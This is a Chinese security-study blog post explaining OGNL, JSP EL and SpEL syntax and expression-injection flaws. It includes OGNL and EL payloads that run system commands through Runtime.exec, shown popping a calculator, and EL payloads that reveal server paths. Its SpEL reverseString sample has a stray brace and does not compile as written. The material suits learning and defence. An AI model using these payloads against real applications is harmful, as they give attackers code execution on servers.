OGNL
基础
OGNL表达式的作用
- 支持对象方法的调用
ObjectName.methodName()
- 静态方法的调用和值得访问
@java.lang.String@format('aa%s', 'RoboTerh')
, 这里的包名必须要是完整的包名,不能只使用String
- 支持变量赋值操作和表达式串联
- 访问OGNL上下文,和ActionContext
- 直接new创建一个对象
ActionContext
是一个上下文对象,对应OGNL的context
除了三个常见的作用域request
、session
、application
外,还有以下三个作用域:
- attr:保存着上面三个作用域的所有属性,如果有重复的则以request域中的属性为基准;
- paramters:保存的是表单提交的参数;
- VALUE_STACK:值栈,保存着valueStack对象,也就是说可以通过ActionContext访问到valueStack中的值
ValueStack
是OGNL表达式存取数据的地方
获取值栈的方式
- 在request作用域中获得值栈
ValueStack对象在request范围内的存储方式为request.setAttribute("struts.valueStack",valuestack)
,可以通过如下方式从request中取出值栈的信息。
//获取 ValueStack 对象,通过 request 对象获取
ValueStack valueStack = (ValueStack)ServletActionContext.getRequest()
.getAttribute(ServletActionContext.STRUTS_VALUESTACK_KEY);
在上述示例代码中,ServletActionContext.STRUTS_VALUESTACK_KEY是ServletActionContext类中的常量,它的值为struts.valueStack。
- 在ActionContext中获得值栈
在使用Struts2框架时,可以使用OGNL操作Context对象从ValueStack中存取数据,也就是说,可以从Context对象中获取ValueStack对象。实际上,Struts2框架中的Context对象就是ActionContext。
ActionContext获取ValueStack对象的方式如下所示:
//通过 ActionContext 获取 valueStack 对象
ValueStack valueStack = ActionContext.getContext().getValueStack();
ActionContext对象是在StrutsPrepareAndExcuteFilter的doFilter()方法中被创建的,在源码中用于创建ActionContext对象的createActionContext()方法内可以找到获取的ValueStack对象的信息。
基本语法
对象树访问
利用.
进行连接
对变量的访问
在前面加上#
数组,对象
//例如
group.users[0]
#session['mysession']
//构造list
{"green", "red", "blue"}
//构造map
#{"key1":"value1", "key2":"value2"}
//新建对象
new Java.net.URL("xxx");
投影和选择语法
投影:
group.users.{username}
获取group中所有users的username
选择:
collection.{X YY}
, X
是一个选择操作符,YY是选择用的逻辑表达式
选择操作符:
?
选择满足条件的所有元素^
选择满足条件的第一个元素$
选择满足条件的最后一个元素
# % $
#
符主要有三种用途:
- 访问非根对象属性,即访问OGNL上下文和Action上下文,由于Struts2中值栈被视为根对象,所以访问其他非根对象时需要加#前缀,#相当于
ActionContext.getContext()
; - 用于过滤和投影(projecting)集合,如
books.{? #this.price<100}
; - 用于构造Map,如
#{'foo1':'bar1', 'foo2':'bar2'}
;
- %符
%
符的用途是在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值。
- $符
$
符的主要作用是在相关配置文件中引入OGNL表达式,让其在配置文件中也能解析OGNL表达式。(换句话说,$用于在配置文件中获取ValueStack的值用的
能解析OGNL的api
类名 | 方法名 |
---|---|
com.opensymphony.xwork2.util.TextParseUtil | translateVariables,translateVariablesCollection |
com.opensymphony.xwork2.util.TextParser | evaluate |
com.opensymphony.xwork2.util.OgnlTextParser | evaluate |
com.opensymphony.xwork2.ognl.OgnlUtil | setProperties,setProperty,setValue,getValue,callMethod,compile |
org.apache.struts2.util.VelocityStrutsUtil | evaluate |
org.apache.struts2.util.StrutsUtil | isTrue,findString,findValue,getText,translateVariables,makeSelectList |
org.apache.struts2.views.jsp.ui.OgnlTool | findValue |
com.opensymphony.xwork2.util.ValueStack | findString,findValue,setValue,setParameter |
com.opensymphony.xwork2.ognl.OgnlValueStack | findString,findValue,setValue,setParameter,trySetValue |
ognl.Ognl | parseExpression,getValue,setValue |
表达式注入漏洞
如果我们能够控制ognl表达式,就可以达到恶意目的
package pers.ognl;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
import java.io.IOException;
public class Test {
public static void main(String[] args) throws OgnlException, IOException {
//创建一个上下文对象
OgnlContext context = new OgnlContext();
//getValue触发漏洞
//Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context, context.getRoot());
//setValue触发漏洞
Ognl.setValue(Runtime.getRuntime().exec("calc"), context, context.getRoot());
}
}
在上面的表格中,就提到过了,Ognl.getValue, Ognl.setValue
都可以进行ognl表达式注入
这里也成功弹出了计算器
调式分析栈调用
首先在getValue
方法前面打上断点
在getValue
方法中使用parseExpression
来处理我们的表达式,跟进他
将其转化为了ASTChain
类型的tree
之后将转化为node类型的tree继续调用getValue方法
这里的this,就是我们需要执行的恶意命令,我们调用evaluateGetValueBody方法来处理它,跟进
之后调用getValueBody来处理
在这里将他拆成了两部分
首先处理的是前半部分,this._children[i]
就是前半部分,调用它的SimpleNode#getValue
方法,并且将类名和方法名分割开了,这里的result
就是Runtime
类名
之后就是通过反射进行获取类名,和方法名,进行执行
简单地说,OGNL表达式的getValue()解析过程就是先将整个OGNL表达式按照语法树分为几个子节点树,然后循环遍历解析各个子节点树上的OGNL表达式,其中通过Method.invoke()即反射的方式实现任意类方法调用,将各个节点解析获取到的类方法通过ASTChain链的方式串连起来实现完整的表达式解析、得到完整的类方法调用。
参考
[OGNL表达式注入漏洞总结 Mi1k7ea ]
EL
基础
基本语法
在JSP
中访问模型对象是通过EL
表达式的语法来表达. 所有EL
表达式的格式都是以${}
表示. 例如, ${userinfo}
代表获取变量userinfo
的值. 当EL
表达式中的变量不给定范围时, 则默认在page
范围查找, 然后依次在request
、session
、application
范围查找. 也可以用范围作为前缀表示属于哪个范围的变量, 例如: ${pageScope. userinfo}
表示访问page
范围中的userinfo
变量.
EL
表达式提供.
和[]
两种运算符来存取数据. 当要存取的属性名称中包含一些特殊字符, 如.
或-
等并非字母或数字的符号, 就一定要使用[]
. 例如: ${user.My-Name}
应当改为${user["My-Name"]}
. 如果要动态取值时, 就可以用[]
来做, 而.
无法做到动态取值, 例如: ${sessionScope.user[data]}
中data
是一个变量.
隐式对象
JSP
表达式语言定义了一组隐式对象, 其中许多对象在JSP Scriplet
和表达式中可用
术语 | 定义 |
---|---|
pageContext | JSP 页的上下文, 可以用于访问JSP 隐式对象, 如请求、响应、会话、输出、servletContext 等. 例如, ${pageContext.response} 为页面的响应对象赋值. |
此外, 还提供几个隐式对象, 允许对以下对象进行简易访问:
术语 | 定义 |
---|---|
param | 将请求参数名称映射到单个字符串参数值(通过调用ServletRequest.getParameter(String name) 获得). getParameter(String) 方法返回带有特定名称的参数. 表达式${param.name} 相当于request.getParameter(name) . |
paramValues | 将请求参数名称映射到一个数值数组(通过调用ServletRequest.getParameter(String name) 获得). 它与param 隐式对象非常类似, 但它检索一个字符串数组而不是单个值. 表达式${paramvalues.name} 相当于request.getParamterValues(name) . |
header | 将请求头名称映射到单个字符串头值(通过调用ServletRequest.getHeader(String name) 获得). 表达式${header.name} 相当于request.getHeader(name) . |
headerValues | 将请求头名称映射到一个数值数组(通过调用ServletRequest.getHeaders(String) 获得). 它与头隐式对象非常类似, 表达式${headerValues.name} 相当于request.getHeaderValues(name) . |
cookie | 将cookie 名称映射到单个cookie 对象. 向服务器发出的客户端请求可以获得一个或多个cookie . 表达式${cookie.name.value} 返回带有特定名称的第一个cookie 值. 如果请求包含多个同名的cookie , 则应该使用${headerValues.name} 表达式. |
initParam | 将上下文初始化参数名称映射到单个值(通过调用ServletContext.getInitparameter(String name) 获得). |
除了上述两种类型的隐式对象之外, 还有些对象允许访问多种范围的变量, 如Web 上下文
、会话
、请求
、页面
:
术语 | 定义 |
---|---|
pageScope | 将页面范围的变量名称映射到其值. 例如, EL 表达式可以使用${pageScope.objectName} 访问一个JSP 中页面范围的对象, 还可以使用${pageScope.objectName.attributeName} 访问对象的属性. |
requestScope | 将请求范围的变量名称映射到其值, 该对象允许访问请求对象的属性. 例如, EL 表达式可以使用${requestScope.objectName} 访问一个JSP 请求范围的对象, 还可以使用${requestScope.objectName.attributeName} 访问对象的属性. |
sessionScope | 将会话范围的变量名称映射到其值, 该对象允许访问会话对象的属性. 例如, ${sessionScope.name} . |
applicationScope | 将应用程序范围的变量名称映射到其值, 该隐式对象允许访问应用程序范围的对象. |
函数
EL
允许您在表达式中使用函数, 这些函数必须被定义在自定义标签库中. 要使用任何标签库中的函数, 需要将这些库安装在服务器中, 然后使用<taglib>
标签在JSP文件中包含这些库. 函数的使用语法如下:
${ns:func(param1, param2, ...)}
ns: 命名空间
func: 指的是函数的名称
paramx: 参数
调用java方法
先新建一个ELFunc
类, 其中定义的doSomething
函数用于输出Hello, xxx!
:
package h3rmek1t.javawebsecurity;
/**
* @Author: H3rmesk1t
* @Data: 2022/3/17 11:24 下午
*/
public class ELFunc {
public static String doSomething(String str) {
return "Hello, " + str + "!";
}
}
接着在WEB-INF
文件夹下新建test.tld
文件, 其中指定执行的Java
方法及其URI
地址:
<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
<tlib-version>1.0</tlib-version>
<short-name>ELFunc</short-name>
<uri>http://www.h3rmesk1t.com/ELFunc</uri>
<function>
<name>doSomething</name>
<function-class>h3rmek1t.javawebsecurity.ELFunc</function-class>
<function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
</function>
</taglib>
JSP
文件中, 先头部导入taglib
标签库, URI
为test.tld
中设置的URI
地址, prefix
为test.tld
中设置的short-name
, 然后直接在EL
表达式中使用类名:方法名()
的形式来调用该类方法即可:
<%@taglib uri="http://www.h3rmesk1t.com/ELFunc" prefix="ELFunc"%>
${ELFunc:doSomething("h3rmesk1t")}
禁用EL表达式
全局禁用 EL 表达式
在web.xml
中进行如下配置:
<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
</jsp-config>
单个文件禁用 EL 表达式
在JSP
文件中可以有如下定义来表示是否禁用EL
表达式, true
表示禁止, false
表示不禁止, 在JSP2.0
中默认的启用EL
表达式.
<%@ page isELIgnored="true" %>
POC
// 对应于 JSP 页面中的 pageContext 对象.
${pageContext}
// 获取 Web 路径.
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
// 文件头参数.
${header}
// 获取 webRoot.
${applicationScope}
// 执行命令.
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
参考
Learning_summary/Java安全学习—EL表达式注入.md at main · H3rmesk1t/Learning_summary (github.com)
spel
基础
.
的用法
Expression exp = parser.parseExpression("'Hello World'.concat('!')")
Expression exp = parser.parseExpression("'Hello World'.bytes")
Expression exp = parser.parseExpression("'Hello World'.bytes.length")
- EvaluationContext 接口
当计算表达式解析properties, methods, fields,并帮助执行类型转换, 使用接口EvaluationContext
这是一个开箱即用的实现, StandardEvaluationContext
,使用反射来操纵对象, 缓存java.lang.reflect
的Method
,Field
,和Constructor
实例 提高性能。
该StandardEvaluationContext
是你可以指定root object通过使用 setRootObject()
或传递root object到构造函数. 你也可以指定变量和函数 使用方法’的setVariable()和
registerFunction()`的表达式
- 基于XML的配置
<property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/>
<!--systemProperties是一个预定义的-->
<property name="defaultLocale" value="#{ systemProperties['user.region'] }"/>
<!--参考其他的bean属性的名字-->
<property name="initialShapeSeed" value="{ numberGuess.randomNumber }"/>
- 基于注解的配置
//@ Value注解可以放在字段,方法和方法/构造 参数里,以指定默认值。
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;
变量可以在使用语法#variableName
表达引用
变量#this 始终定义和指向的是当前的执行对象 (不支持对其中不合格的引用解析)。变量#root总是 定义和指向root context object
函数的使用
您可以通过注册,可以在该调用用户自定义函数扩展SpEL 表达式字符串。该函数注册到’StandardEvaluationContext`使用 该方法。
public void registerFunction(String name, Method m)
引用一个Java方法提供了函数的实现。举个例子 一个实用的方法来扭转字符串如下所示。
public abstract class StringUtils {
public static String reverseString(String input) {
StringBuilder backwards = new StringBuilder();
for (int i = 0; i < input.length(); i++)
backwards.append(input.charAt(input.length() - 1 - i));
}
return backwards.toString();
}
}
这个方法在解析器上线文当中被注册,作为字符串被调用。
ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
context.registerFunction("reverseString",
StringUtils.class.getDeclaredMethod("reverseString", new Class[] { String.class }));
String helloWorldReversed = parser.parseExpression(
"#reverseString('hello')").getValue(context, String.class);
如果解析上下文已经配置,那么bean解析器能够 从表达式使用(@)符号查找bean类。
ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new MyBeanResolver());
// This will end up calling resolve(context,"foo") on MyBeanResolver during evaluation
Object bean = parser.parseExpression("@foo").getValue(context);
- Post link: https://roboterh.github.io/2022/04/07/OGNL_EL_Spel%E8%A1%A8%E8%BE%BE%E5%BC%8F/
- Copyright Notice: All articles in this blog are licensed under unless otherwise stated.